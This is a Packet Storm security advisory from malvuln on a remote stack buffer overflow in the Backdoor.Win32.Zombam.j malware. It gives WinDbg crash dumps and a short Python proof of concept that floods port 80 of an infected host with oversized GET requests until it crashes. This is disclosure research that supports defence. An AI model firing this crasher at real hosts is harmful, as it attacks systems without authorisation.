Backdoor.Win32.Zombam.j Remote Stack Buffer Overflow

2021-01-04T00:00:00
ID PACKETSTORM:160765
Type packetstorm
Reporter malvuln
Modified 2021-01-04T00:00:00

Description

                                        
                                            `Discovery / credits: malvuln - Malvuln.com (c) 2021  
Original source: http://malvuln.com/advisory/a4212f23e1cc3bb34b0dfe15b2ad323e.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Zombam.j  
Vulnerability: Remote Stack Buffer Overflow  
Description: Listens on TCP port 80, sending consecutive HTTP requests with incrementing payload results in stack buffer overflow of the backdoor malware.  
  
Type: PE32  
MD5: a4212f23e1cc3bb34b0dfe15b2ad323e  
Vuln ID: MVID-2021-0006  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 01/02/2021  
  
Memory Dump:  
EAX : 055DF9F0  
EBX : 040402A0 "X\v"  
ECX : 055DFA20  
EDX : 41414141  
EBP : 055DFA28  
ESP : 055DF9D8  
ESI : 040402A0 "X\v"  
EDI : 00404E86 backdoor.win32.zombam.j.00404E86  
EIP : 0040292E backdoor.win32.zombam.j.0040292E  
  
dword ptr [edx+4]=[41414145]=???  
  
  
(168c.20d0): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=050cfa20 edx=41414141 esi=00000003 edi=00000003  
eip=773ced3c esp=050cf0bc ebp=050cf24c iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
773ced3c c21400 ret 14h  
  
0:004> .ecxr  
eax=050cf9f0 ebx=040702d0 ecx=050cfa20 edx=41414141 esi=040702d0 edi=00404e86  
eip=0040292e esp=050cf9d8 ebp=050cfa28 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
*** WARNING: Unable to verify checksum for Backdoor.Win32.Zombam.j.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Zombam.j.exe  
Backdoor_Win32_Zombam_j__+0x292e:  
0040292e 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=????????  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_INFECTED_HOST="x.x.x.x"  
sz = 76660  
c=1  
  
def doit():  
while True:  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_INFECTED_HOST, 80))  
sz += 2600  
JUNK="A"*sz  
PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_INFECTED_HOST+"\r\n\r\n"  
s.send(PAYLOAD)  
s.close()  
c+=1  
if c==3:  
exit()  
print("Backdoor.Win32.Zombam.j / Remote Stack Buffer Overflow")  
print("MD5: a4212f23e1cc3bb34b0dfe15b2ad323e")  
print("By malvuln")  
  
if __name__=="__main__":  
doit()  
  
  
  
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`